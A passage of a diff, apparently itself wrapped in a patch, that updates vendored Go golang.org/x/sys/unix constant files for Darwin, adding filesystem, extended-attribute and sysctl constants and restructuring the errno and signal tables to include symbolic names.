- FFDLY = 0x4000
- FLUSHO = 0x800000
-+ FSOPT_ATTR_CMN_EXTENDED = 0x20
-+ FSOPT_NOFOLLOW = 0x1
-+ FSOPT_NOINMEMUPDATE = 0x2
-+ FSOPT_PACK_INVAL_ATTRS = 0x8
-+ FSOPT_REPORT_FULLSIZE = 0x4
- F_ADDFILESIGS = 0x3d
- F_ADDFILESIGS_FOR_DYLD_SIM = 0x53
- F_ADDFILESIGS_RETURN = 0x61
-@@ -425,6 +512,7 @@ const (
- F_PATHPKG_CHECK = 0x34
- F_PEOFPOSMODE = 0x3
- F_PREALLOCATE = 0x2a
-+ F_PUNCHHOLE = 0x63
- F_RDADVISE = 0x2c
- F_RDAHEAD = 0x2d
- F_RDLCK = 0x1
-@@ -441,10 +529,12 @@ const (
- F_SINGLE_WRITER = 0x4c
- F_THAW_FS = 0x36
- F_TRANSCODEKEY = 0x4b
-+ F_TRIM_ACTIVE_FILE = 0x64
- F_UNLCK = 0x2
- F_VOLPOSMODE = 0x4
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
-@@ -681,6 +771,7 @@ const (
- IPV6_FAITH = 0x1d
- IPV6_FLOWINFO_MASK = 0xffffff0f
- IPV6_FLOWLABEL_MASK = 0xffff0f00
-+ IPV6_FLOW_ECN_MASK = 0x300
- IPV6_FRAGTTL = 0x3c
- IPV6_FW_ADD = 0x1e
- IPV6_FW_DEL = 0x1f
-@@ -771,6 +862,7 @@ const (
- IP_RECVOPTS = 0x5
- IP_RECVPKTINFO = 0x1a
- IP_RECVRETOPTS = 0x6
-+ IP_RECVTOS = 0x1b
- IP_RECVTTL = 0x18
- IP_RETOPTS = 0x8
- IP_RF = 0x8000
-@@ -789,6 +881,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LOCK_EX = 0x2
- LOCK_NB = 0x4
- LOCK_SH = 0x1
-@@ -884,6 +980,7 @@ const (
- NET_RT_MAXID = 0xa
- NET_RT_STAT = 0x4
- NET_RT_TRASH = 0x5
-+ NFDBITS = 0x20
- NL0 = 0x0
- NL1 = 0x100
- NL2 = 0x200
-@@ -1377,6 +1474,12 @@ const (
- WORDSIZE = 0x40
- WSTOPPED = 0x8
- WUNTRACED = 0x2
-+ XATTR_CREATE = 0x2
-+ XATTR_NODEFAULT = 0x10
-+ XATTR_NOFOLLOW = 0x1
-+ XATTR_NOSECURITY = 0x8
-+ XATTR_REPLACE = 0x4
-+ XATTR_SHOWCOMPRESSION = 0x20
- )
-
- // Errors
-@@ -1528,146 +1631,154 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "resource busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "operation timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "device power is off",
-- 83: "device error",
-- 84: "value too large to be stored in data type",
-- 85: "bad executable (or shared library)",
-- 86: "bad CPU type in executable",
-- 87: "shared library version mismatch",
-- 88: "malformed Mach-o file",
-- 89: "operation canceled",
-- 90: "identifier removed",
-- 91: "no message of desired type",
-- 92: "illegal byte sequence",
-- 93: "attribute not found",
-- 94: "bad message",
-- 95: "EMULTIHOP (Reserved)",
-- 96: "no message available on STREAM",
-- 97: "ENOLINK (Reserved)",
-- 98: "no STREAM resources",
-- 99: "not a STREAM",
-- 100: "protocol error",
-- 101: "STREAM ioctl timeout",
-- 102: "operation not supported on socket",
-- 103: "policy not found",
-- 104: "state not recoverable",
-- 105: "previous owner died",
-- 106: "interface output queue is full",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "ENOTSUP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "operation timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disc quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC prog. not avail"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EPWROFF", "device power is off"},
-+ {83, "EDEVERR", "device error"},
-+ {84, "EOVERFLOW", "value too large to be stored in data type"},
-+ {85, "EBADEXEC", "bad executable (or shared library)"},
-+ {86, "EBADARCH", "bad CPU type in executable"},
-+ {87, "ESHLIBVERS", "shared library version mismatch"},
-+ {88, "EBADMACHO", "malformed Mach-o file"},
-+ {89, "ECANCELED", "operation canceled"},
-+ {90, "EIDRM", "identifier removed"},
-+ {91, "ENOMSG", "no message of desired type"},
-+ {92, "EILSEQ", "illegal byte sequence"},
-+ {93, "ENOATTR", "attribute not found"},
-+ {94, "EBADMSG", "bad message"},
-+ {95, "EMULTIHOP", "EMULTIHOP (Reserved)"},
-+ {96, "ENODATA", "no message available on STREAM"},
-+ {97, "ENOLINK", "ENOLINK (Reserved)"},
-+ {98, "ENOSR", "no STREAM resources"},
-+ {99, "ENOSTR", "not a STREAM"},
-+ {100, "EPROTO", "protocol error"},
-+ {101, "ETIME", "STREAM ioctl timeout"},
-+ {102, "EOPNOTSUPP", "operation not supported on socket"},
-+ {103, "ENOPOLICY", "policy not found"},
-+ {104, "ENOTRECOVERABLE", "state not recoverable"},
-+ {105, "EOWNERDEAD", "previous owner died"},
-+ {106, "EQFULL", "interface output queue is full"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "suspended (signal)",
-- 18: "suspended",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGABRT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "suspended (signal)"},
-+ {18, "SIGTSTP", "suspended"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_darwin_arm64.go b/vendor/golang.org/x/sys/unix/zerrors_darwin_arm64.go
-index cc8cc5b5..cbd8ed18 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_darwin_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_darwin_arm64.go
-@@ -3,7 +3,7 @@
-
- // +build arm64,darwin
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m64 _const.go
-
- package unix
-@@ -49,6 +49,86 @@ const (
- AF_UNSPEC = 0x0
- AF_UTUN = 0x26
- ALTWERASE = 0x200
-+ ATTR_BIT_MAP_COUNT = 0x5
-+ ATTR_CMN_ACCESSMASK = 0x20000
-+ ATTR_CMN_ACCTIME = 0x1000
-+ ATTR_CMN_ADDEDTIME = 0x10000000
-+ ATTR_CMN_BKUPTIME = 0x2000
-+ ATTR_CMN_CHGTIME = 0x800
-+ ATTR_CMN_CRTIME = 0x200
-+ ATTR_CMN_DATA_PROTECT_FLAGS = 0x40000000
-+ ATTR_CMN_DEVID = 0x2
-+ ATTR_CMN_DOCUMENT_ID = 0x100000
-+ ATTR_CMN_ERROR = 0x20000000
-+ ATTR_CMN_EXTENDED_SECURITY = 0x400000
-+ ATTR_CMN_FILEID = 0x2000000
-+ ATTR_CMN_FLAGS = 0x40000
-+ ATTR_CMN_FNDRINFO = 0x4000
-+ ATTR_CMN_FSID = 0x4
-+ ATTR_CMN_FULLPATH = 0x8000000
-+ ATTR_CMN_GEN_COUNT = 0x80000
-+ ATTR_CMN_GRPID = 0x10000
-+ ATTR_CMN_GRPUUID = 0x1000000
-+ ATTR_CMN_MODTIME = 0x400
-+ ATTR_CMN_NAME = 0x1
-+ ATTR_CMN_NAMEDATTRCOUNT = 0x80000
-+ ATTR_CMN_NAMEDATTRLIST = 0x100000
-+ ATTR_CMN_OBJID = 0x20
-+ ATTR_CMN_OBJPERMANENTID = 0x40
-+ ATTR_CMN_OBJTAG = 0x10
-+ ATTR_CMN_OBJTYPE = 0x8
-+ ATTR_CMN_OWNERID = 0x8000
-+ ATTR_CMN_PARENTID = 0x4000000
-+ ATTR_CMN_PAROBJID = 0x80
-+ ATTR_CMN_RETURNED_ATTRS = 0x80000000
-+ ATTR_CMN_SCRIPT = 0x100
-+ ATTR_CMN_SETMASK = 0x41c7ff00
-+ ATTR_CMN_USERACCESS = 0x200000
-+ ATTR_CMN_UUID = 0x800000
-+ ATTR_CMN_VALIDMASK = 0xffffffff
-+ ATTR_CMN_VOLSETMASK = 0x6700
-+ ATTR_FILE_ALLOCSIZE = 0x4
-+ ATTR_FILE_CLUMPSIZE = 0x10
-+ ATTR_FILE_DATAALLOCSIZE = 0x400
-+ ATTR_FILE_DATAEXTENTS = 0x800
-+ ATTR_FILE_DATALENGTH = 0x200
-+ ATTR_FILE_DEVTYPE = 0x20
-+ ATTR_FILE_FILETYPE = 0x40
-+ ATTR_FILE_FORKCOUNT = 0x80
-+ ATTR_FILE_FORKLIST = 0x100
-+ ATTR_FILE_IOBLOCKSIZE = 0x8
-+ ATTR_FILE_LINKCOUNT = 0x1
-+ ATTR_FILE_RSRCALLOCSIZE = 0x2000
-+ ATTR_FILE_RSRCEXTENTS = 0x4000
-+ ATTR_FILE_RSRCLENGTH = 0x1000
-+ ATTR_FILE_SETMASK = 0x20
-+ ATTR_FILE_TOTALSIZE = 0x2
-+ ATTR_FILE_VALIDMASK = 0x37ff
-+ ATTR_VOL_ALLOCATIONCLUMP = 0x40
-+ ATTR_VOL_ATTRIBUTES = 0x40000000
-+ ATTR_VOL_CAPABILITIES = 0x20000
-+ ATTR_VOL_DIRCOUNT = 0x400
-+ ATTR_VOL_ENCODINGSUSED = 0x10000
-+ ATTR_VOL_FILECOUNT = 0x200
-+ ATTR_VOL_FSTYPE = 0x1
-+ ATTR_VOL_INFO = 0x80000000
-+ ATTR_VOL_IOBLOCKSIZE = 0x80
-+ ATTR_VOL_MAXOBJCOUNT = 0x800
-+ ATTR_VOL_MINALLOCATION = 0x20
-+ ATTR_VOL_MOUNTEDDEVICE = 0x8000
-+ ATTR_VOL_MOUNTFLAGS = 0x4000
-+ ATTR_VOL_MOUNTPOINT = 0x1000
-+ ATTR_VOL_NAME = 0x2000
-+ ATTR_VOL_OBJCOUNT = 0x100
-+ ATTR_VOL_QUOTA_SIZE = 0x10000000
-+ ATTR_VOL_RESERVED_SIZE = 0x20000000
-+ ATTR_VOL_SETMASK = 0x80002000
-+ ATTR_VOL_SIGNATURE = 0x2
-+ ATTR_VOL_SIZE = 0x4
-+ ATTR_VOL_SPACEAVAIL = 0x10
-+ ATTR_VOL_SPACEFREE = 0x8
-+ ATTR_VOL_UUID = 0x40000
-+ ATTR_VOL_VALIDMASK = 0xf007ffff
- B0 = 0x0
- B110 = 0x6e
- B115200 = 0x1c200
-@@ -169,6 +249,8 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0xc
- CTL_NET = 0x4
- DLT_A429 = 0xb8
-@@ -390,6 +472,11 @@ const (
- FF1 = 0x4000
- FFDLY = 0x4000
- FLUSHO = 0x800000
-+ FSOPT_ATTR_CMN_EXTENDED = 0x20
-+ FSOPT_NOFOLLOW = 0x1
-+ FSOPT_NOINMEMUPDATE = 0x2
-+ FSOPT_PACK_INVAL_ATTRS = 0x8
-+ FSOPT_REPORT_FULLSIZE = 0x4
- F_ADDFILESIGS = 0x3d
- F_ADDFILESIGS_FOR_DYLD_SIM = 0x53
- F_ADDFILESIGS_RETURN = 0x61
-@@ -425,6 +512,7 @@ const (
- F_PATHPKG_CHECK = 0x34
- F_PEOFPOSMODE = 0x3
- F_PREALLOCATE = 0x2a
-+ F_PUNCHHOLE = 0x63
- F_RDADVISE = 0x2c
- F_RDAHEAD = 0x2d
- F_RDLCK = 0x1
-@@ -441,10 +529,12 @@ const (
- F_SINGLE_WRITER = 0x4c
- F_THAW_FS = 0x36
- F_TRANSCODEKEY = 0x4b
-+ F_TRIM_ACTIVE_FILE = 0x64
- F_UNLCK = 0x2
- F_VOLPOSMODE = 0x4
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
-@@ -681,6 +771,7 @@ const (
- IPV6_FAITH = 0x1d
- IPV6_FLOWINFO_MASK = 0xffffff0f
- IPV6_FLOWLABEL_MASK = 0xffff0f00
-+ IPV6_FLOW_ECN_MASK = 0x300
- IPV6_FRAGTTL = 0x3c
- IPV6_FW_ADD = 0x1e
- IPV6_FW_DEL = 0x1f
-@@ -771,6 +862,7 @@ const (
- IP_RECVOPTS = 0x5
- IP_RECVPKTINFO = 0x1a
- IP_RECVRETOPTS = 0x6
-+ IP_RECVTOS = 0x1b
- IP_RECVTTL = 0x18
- IP_RETOPTS = 0x8
- IP_RF = 0x8000
-@@ -789,6 +881,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LOCK_EX = 0x2
- LOCK_NB = 0x4
- LOCK_SH = 0x1
-@@ -884,6 +980,7 @@ const (
- NET_RT_MAXID = 0xa
- NET_RT_STAT = 0x4
- NET_RT_TRASH = 0x5
-+ NFDBITS = 0x20
- NL0 = 0x0
- NL1 = 0x100
- NL2 = 0x200
-@@ -1377,6 +1474,12 @@ const (
- WORDSIZE = 0x40
- WSTOPPED = 0x8
- WUNTRACED = 0x2
-+ XATTR_CREATE = 0x2
-+ XATTR_NODEFAULT = 0x10
-+ XATTR_NOFOLLOW = 0x1
-+ XATTR_NOSECURITY = 0x8
-+ XATTR_REPLACE = 0x4
-+ XATTR_SHOWCOMPRESSION = 0x20
- )
-
- // Errors
-@@ -1528,146 +1631,154 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "resource busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "operation timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "device power is off",
-- 83: "device error",
-- 84: "value too large to be stored in data type",
-- 85: "bad executable (or shared library)",
-- 86: "bad CPU type in executable",
-- 87: "shared library version mismatch",
-- 88: "malformed Mach-o file",
-- 89: "operation canceled",
-- 90: "identifier removed",
-- 91: "no message of desired type",
-- 92: "illegal byte sequence",
-- 93: "attribute not found",
-- 94: "bad message",
-- 95: "EMULTIHOP (Reserved)",
-- 96: "no message available on STREAM",
-- 97: "ENOLINK (Reserved)",
-- 98: "no STREAM resources",
-- 99: "not a STREAM",
-- 100: "protocol error",
-- 101: "STREAM ioctl timeout",
-- 102: "operation not supported on socket",
-- 103: "policy not found",
-- 104: "state not recoverable",
-- 105: "previous owner died",
-- 106: "interface output queue is full",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "ENOTSUP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "operation timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disc quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC prog. not avail"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EPWROFF", "device power is off"},
-+ {83, "EDEVERR", "device error"},
-+ {84, "EOVERFLOW", "value too large to be stored in data type"},
-+ {85, "EBADEXEC", "bad executable (or shared library)"},
-+ {86, "EBADARCH", "bad CPU type in executable"},
-+ {87, "ESHLIBVERS", "shared library version mismatch"},
-+ {88, "EBADMACHO", "malformed Mach-o file"},
-+ {89, "ECANCELED", "operation canceled"},
-+ {90, "EIDRM", "identifier removed"},
-+ {91, "ENOMSG", "no message of desired type"},
-+ {92, "EILSEQ", "illegal byte sequence"},
-+ {93, "ENOATTR", "attribute not found"},
-+ {94, "EBADMSG", "bad message"},
-+ {95, "EMULTIHOP", "EMULTIHOP (Reserved)"},
-+ {96, "ENODATA", "no message available on STREAM"},
-+ {97, "ENOLINK", "ENOLINK (Reserved)"},
-+ {98, "ENOSR", "no STREAM resources"},
-+ {99, "ENOSTR", "not a STREAM"},
-+ {100, "EPROTO", "protocol error"},
-+ {101, "ETIME", "STREAM ioctl timeout"},
-+ {102, "EOPNOTSUPP", "operation not supported on socket"},
